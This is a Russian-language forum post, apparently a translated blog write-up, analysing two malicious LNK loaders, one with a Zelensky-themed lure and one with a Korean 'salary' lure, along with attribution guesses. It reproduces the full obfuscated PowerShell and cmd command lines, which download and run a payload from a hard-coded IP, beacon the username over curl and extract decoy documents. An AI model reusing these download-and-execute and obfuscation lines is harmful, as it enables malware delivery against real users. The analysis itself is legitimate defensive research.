Изучение загрузчиков вредоносного ПО LNK: случайный анализ

wrangler65

Модератор
Изучение двух различных вредоносных загрузчиков, злоупотребляющих .LNKфайлы в качестве начального доступа.


Введение Постоянная ссылка


Недавно я столкнулся с двумя различными загрузчиками вредоносных программ, использующими .LNKфайлы в качестве начального доступа — и оба имели несколько интересных слоев, в которых стоило покопаться. В любом случае, это не полноценный очерк или что-то в этом роде. Просто я снова вхожу в привычку анализировать и делиться вещами. Я был вне игры некоторое время, так что это скорее разминка. Если вы заметите что-то странное, неправильное или просто захотите поразвлечься — дайте мне знать.


Часть 1: изучение первого загрузчика LNK Постоянная ссылка


Введение Постоянная ссылка


Недавно я наткнулся на этот подозрительный ZIP-файл — хэш: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8. После расстегивания он выпал .LNKфайл с именем вроде ЗЕЛЕНСЬКИЙ.М.В..docx.lnk.


Примечание: у меня был только загрузчик для работы. Серверы C2 были мертвы, и я не мог получить основную полезную нагрузку (AppCheckS.exe) или какой-либо ложный документ. Все здесь из статического анализа и наблюдения за его поведением.


Этап 0: Постоянная ссылка на ZIP-файл


  • Имя файла: Неизвестно (ссылка на SHA256)
  • SHA256: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8
  • Содержание: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk
  • Упаковка: Простой ZIP-архив, без папок.

Это классический старт социальной инженерии. Файл LNK использует двойной .docx.lnkрасширение с кириллическим именем для привлечения нетехнических пользователей, возможно, ориентированное на русскоязычную аудиторию.


Этап 1: Полезная нагрузка LNK Постоянная ссылка


The .LNKfile — это настоящая вещь. Он не запускает документ, а вместо этого вызывает скрипт PowerShell с несколькими этапами:




-win 1 eChO ikLUwJJXohZoLaHEBFtdWEvLWq;


  • Просто какая-то мусорная команда echo, вероятно, чтобы сбить с толку базовые сканеры.

if (-not(Test-Path 'calipash.z''i''p' -PathType Leaf)){
&(Get-Command in???e-webr**) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/calipash.z''i''p -OutFile calipash.z''i''p
};


  • Проверяет, если calipash.zipсуществует. Если нет, то он загружает его с http://38.180.49.87/calipash.zip.
  • 'zi''p' и ht''tp'используются для разделения строк и избежания обнаружения.
  • Использует Invoke-WebRequest или Invoke-WebClientчерез шаблон подстановочных знаков in???e-webr**.

sleep 0.01; Measure-Object | Out-Null;


  • Небольшая задержка и фиктивные команды для работы с песочницами.

eChO uGLxDhDxxfNjkAkreOIPzbprHbWqxfyhhEiZWFLcwdbltXGKhtCnXFfst;


  • Еще одно мусорное эхо.

$Hehe = 'Expand-Archive -Path calipash.z''i''p -DestinationPath x64Updtr';
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire $Hehe;


  • Распаковывает архив в папку x64Updtr.
  • Использует Invoke-Expressionдля динамического выполнения PowerShell.

NotHehe = 'st''ar''t x64Updtr/AppCheckS.e''x''e';
iex -Debug -Verbose -ErrorVariable $ee -InformationAction Ignore -WarningAction Inquire $NotHehe;


  • Запускает извлеченный EXE-файл.
  • Запутывание последовательно ( st''ar''t, e''x''e).

&(Get-Command in???e-webre************************) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/dannya/database_response_invalid_error_code_702.docx -OutFile database_response_invalid_error_code_702.docx;



sleep 0.01; Get-Process | Out-Null;


  • Еще одна короткая пауза и бесполезная команда, которая сбивает с толку инструменты анализа.

st''ar''t database_response_invalid_error_code_702.docx;


  • Открывает этот .docx, чтобы все выглядело законно.

Сводка потока инфекции Постоянная ссылка


  1. Пользователь открывает LNK, думая, что это документ.
  2. PowerShell включается незаметно.
  3. Он загружает и распаковывает ZIP-архив.
  4. Запускает подозрительный EXE-файл.
  5. Пытается загрузить DOCX (вероятно, приманку).
  6. Открывает DOCX для завершения иллюзии.

IP О постоянной ссылке


  • 38.180.49.87

    На момент написания этого IP упал. Пробовал сканировать и запрашивать его — ничего. Нет открытых портов, нет HTTP-ответа, ничего.

Я также не смог найти никаких надежных ссылок на предыдущие вредоносные кампании, связанные с ним. Тем не менее, способ использования инфраструктуры — одноразовые C2, мертвые к тому времени, как мы на них наступаем — типичен для определенных в стиле APT . операторов


Атрибуция? Постоянная ссылка


Давайте будем честны — это тщательное наблюдение, а не подтвержденная атрибуция. У нас нет доступа к полному вредоносному ПО, только к загрузчику. Инфраструктура не работает, а содержимое ZIP-файла ограничено. Поэтому весь анализ основан на том, что у нас есть.


  • Имя файла: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk: Это имя Зеленского. Это не случайность. Это целенаправленный крючок, вероятно, для ловли кого-то, связанного с Украиной или политикой.
  • Схема действий знакома — двойные расширения, запутанный PowerShell, одноразовые серверы и поддельный документ в конце.
  • Стиль доставки и использование поддельного средства запуска документов напоминают методы, которые мы видели у связанных с Северной Кореей APT-групп (например, APT37, Kimsuky) и даже у некоторых российских злоумышленников , участвующих в гибридных военных операциях.
  • Но без полезной нагрузки или активных серверов я не буду показывать пальцем. Хотя это похоже на шаг национального государства, особенно с учетом украинского аспекта.

Часть 2: Изучаем второй загрузчик LNK Постоянная ссылка


Введение Постоянная ссылка


Итак, я наткнулся на этот файл .LNK на днях. Сначала он показался мне каким-то базовым дроппером, ничего необычного. Но после того, как я его посмотрел, единственное, что меня заинтересовало, это то, как он, вероятно, связан с КНДР.


  • Цель: Вероятный первоначальный доступ, замаскированный под законную приманку.
  • Предполагаемая атрибуция: TTP пересекается с группами Kimsuky и Konni APT
  • Примечание: Как и в случае с последним загрузчиком .LNK, мы не получили в свои руки основной файл .LNK (월급.lnk). Поэтому все здесь взято из статического анализа и наблюдения за его поведением.

Этап 0: Постоянная ссылка на файл


  • Тип: .LNK
  • Размер: 3,78 КБ
  • Имя: plum.lnk
  • Хэш: 065f4a69119449bcbd777a96674ea52553ec282127731980476c7b4da69471c8
  • ВирусВсего: 21/62

Этап 1: Полезная нагрузка LNK Постоянная ссылка




Внутри .LNK


Использовал 010 Editor + LNK templates для чтения между байтами. Вот что выделялось:


  • Цель команды:

    cmd.exe, связанный с логикой PowerShell
  • Рабочий директор:

    C:\Users\kangb\OneDrive\Desktop
  • АРГУМЕНТЫ КОМАНДНОЙ СТРОКИ:

Ниже представлен полный набор PowerShell/Batch, встроенный в .lnk цель:


/v:eek:n /k "for /f %a in ('whoami') do (set myuser=%a&set myuser=!myuser:\=/!&curl http://google.com/112.jsp?user=!myuser!)&for /f \"tokens=*\" %a in ('dir C:\Windows\System32\*rshell.exe /s /b /od') do call %a -WindowStyle Minimized \"$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq ''){$DirPath=$env:TEMP;}$Files=Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk';$lnkF='';foreach ($File in $Files){$lnkF=$File.FullName;};$StartA=0;$fileBytes=Get-Content -Path $lnkF -Encoding Byte -Raw;$a5=0x25;$b4=0x50;$c3=0x44;$d4=0x46;for ($i=0;$i -lt $fileBytes.Length;$i++){if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startA=$i;break;}}}}}$byteC=58461;$NormalF=$lnkF -replace 'lnk','pdf';$selectedBytes=$fileBytes[$startA..($startA+$byteC-1)];Set-content -Path $NormalF -Value $selectedBytes -Encoding Byte;ii $NormalF;timeout /t 2;Remove-Item -Path $lnkF;\"&cls&exit"




cmd.exe /v:eek:n /k


  • Позволяет отложенное расширение переменной. Необходимо для динамических трюков с переменными, таких как !myuser!.

for /f %a in ('whoami') do (...)


  • Получает текущее имя пользователя.
  • Заменяет \ с /чтобы сделать его URL-безопасным.
  • Отправляет имя пользователя на URL-адрес маяка ( google[.]com/112.jsp). Скорее всего, это заполнитель.

for /f "tokens=*" %a in ('dir ... *rshell.exe') do call %a


  • Ищет переименованный двоичный файл PowerShell (возможно, rshell.exe).
  • Вызывает его свернутым для выполнения оставшейся части полезной нагрузки.

Полезная нагрузка PowerShell:


$DirPath = Get-Location
if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') {
$DirPath = $env:TEMP
}



  • При запуске в защищенной папке переключается во временный каталог.

$Files = Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk'
foreach ($File in $Files) { $lnkF = $File.FullName }



  • Ищет файл с именем «월급.lnk» (корейский: «Salary.lnk»).
  • Вероятно, это файл, на который изначально нажали.

$fileBytes = Get-Content -Path $lnkF -Encoding Byte -Raw



  • Читает LNK-файл в двоичном режиме.

$a5 = 0x25; $b4 = 0x50; $c3 = 0x44; $d4 = 0x46
for (...) { if ($fileBytes[i..i+3] -eq %PDF) { $startA = i; break } }



  • Поиск заголовка PDF-файла: %PDF→ 0x25 0x50 0x44 0x46

$byteC = 58461
$selectedBytes = $fileBytes[$startA..($startA+$byteC-1)]



  • Извлекает следующие 58 КБ, предполагая, что это допустимый поддельный PDF-файл.

$NormalF = $lnkF -replace 'lnk','pdf'
Set-Content -Path $NormalF -Value $selectedBytes -Encoding Byte
ii $NormalF
Remove-Item -Path $lnkF



  • Записывает PDF-файл на диск, открывает его и удаляет оригинал. .lnk файл.

Сводка потока инфекции Постоянная ссылка


  • Пользователь нажимает plum.lnk
  • .LNK запускает cmd.exe, который захватывает имя пользователя и отправляет его на URL (google[.]com/112.jsp).
  • CMD ищет переименованный двоичный файл PowerShell (например, rshell.exe) и незаметно запускает его.
  • PowerShell проверяет текущую папку. Если это где-то вроде System32 или Program Files, он переключается на временный каталог.
  • Он ищет другой файл .LNK с именем 월급.lnk (по-корейски «зарплата»).
  • Считывает этот .LNK как необработанные байты, ищет заголовок %PDF, чтобы найти встроенный PDF.
  • Извлекает ~58 КБ данных, сохраняет их как файл .pdf и открывает, чтобы они выглядели как настоящие.
  • Удаляет оригинальный .LNK, чтобы замести следы.

Подсказки об авторстве — почему это кажется связанным с КНДР Постоянная ссылка


Я не бросаюсь атрибуцией легкомысленно. Но если вы отслеживали КНДР, это может показаться слишком знакомым:


Признаки, указывающие на APT-группы, связанные с КНДР (например, Lazarus, Kimsuky, Andariel) :


  1. Использование корейского языка ( 월급.lnk) – Мощная приманка социальной инженерии, нацеленная на местных пользователей.
  2. Извлечение файлов со встроенным вредоносным контентом — тактика, применяемая в имплантах Lazarus.
  3. Активное использование PowerShell, минимум внешних инструментов — соответствует принципам Kimsuky и Lazarus.
  4. Поведение C2 замаскировано в домене Google – TTP совпадает с предыдущими наборами фишинговых атак Lazarus.

Хотя эти ТТП и не являются окончательными, они соответствуют кампаниям, которые ранее приписывались:


  • Модули шпионского ПО и кражи данных Kimsuky
  • Вложения Office/PDF, превращенные в оружие Лазаруса
  • Использование Андариэль .lnkдля бокового перемещения и стадий капельницы

По какой-то причине это больше похоже на загрузчик для тест-драйва, чем на полностью активный вектор заражения. Использование заглушек C2 и полусырой функциональности предполагает, что это либо часть продолжающейся кампании, которая все еще находится в разработке, либо новая, которая вот-вот начнется.


Подведение итогов Постоянная ссылка


Оба загрузчика .LNK были довольно крутыми для того, чтобы поковыряться, но да, они оставили меня в подвешенном состоянии без каких-либо важных ответов. Я даже не собирался это писать, но я пытаюсь вернуться к регулярному ведению записей. Так что спасибо, что заглянули! Если я где-то ошибся, я обязательно исправлю это в следующий раз.
 
Похожие темы
Z Подскажите, как и с чего начать изучение кибер безопасности? Свободное общение 10
E Интересно С чего начать изучение информационной безопасности в 2020 году Полезные статьи 0
A Книга для изучение c# Программирование 3
X Изучение Си (урок 6) Программирование 1
X Изучение Си (урок 5) Программирование 0
X Изучение Си (урок 4) Программирование 0
X Изучение Си (урок 3) Программирование 0
X Изучение Си (урок 2( Программирование 0
X Изучение Си (урок 1) Программирование 1
N С чего начать изучение DDOS ? Свободное общение 9
N Изучение C++(видео уроки) Программирование 1
R Изучение JavaScript с нуля Программирование 4
S Изучение html, css!!! Программирование 2
Support81 Операторы LockBit используют скрытую технику загрузки DLL для загрузки вредоносного приложения Новости в сети 0
Support81 Вирус-вымогатель Interlock использует метод FileFix для доставки вредоносного ПО Новости в сети 0
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Emilio_Gaviriya Инструменты для исследования вредоносного ПО. Вирусология 0
Support81 Хакеры злоупотребляют Binance Smart Chain для хранения вредоносного кода Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
G Софт для выявления вредоносного ПО. Готовый софт 10
G Mobile Security Framework - Выявление вредоносного кода в приложениях Полезные статьи 0
G Maltrail - система обнаружения вредоносного трафика Полезные статьи 0

Название темы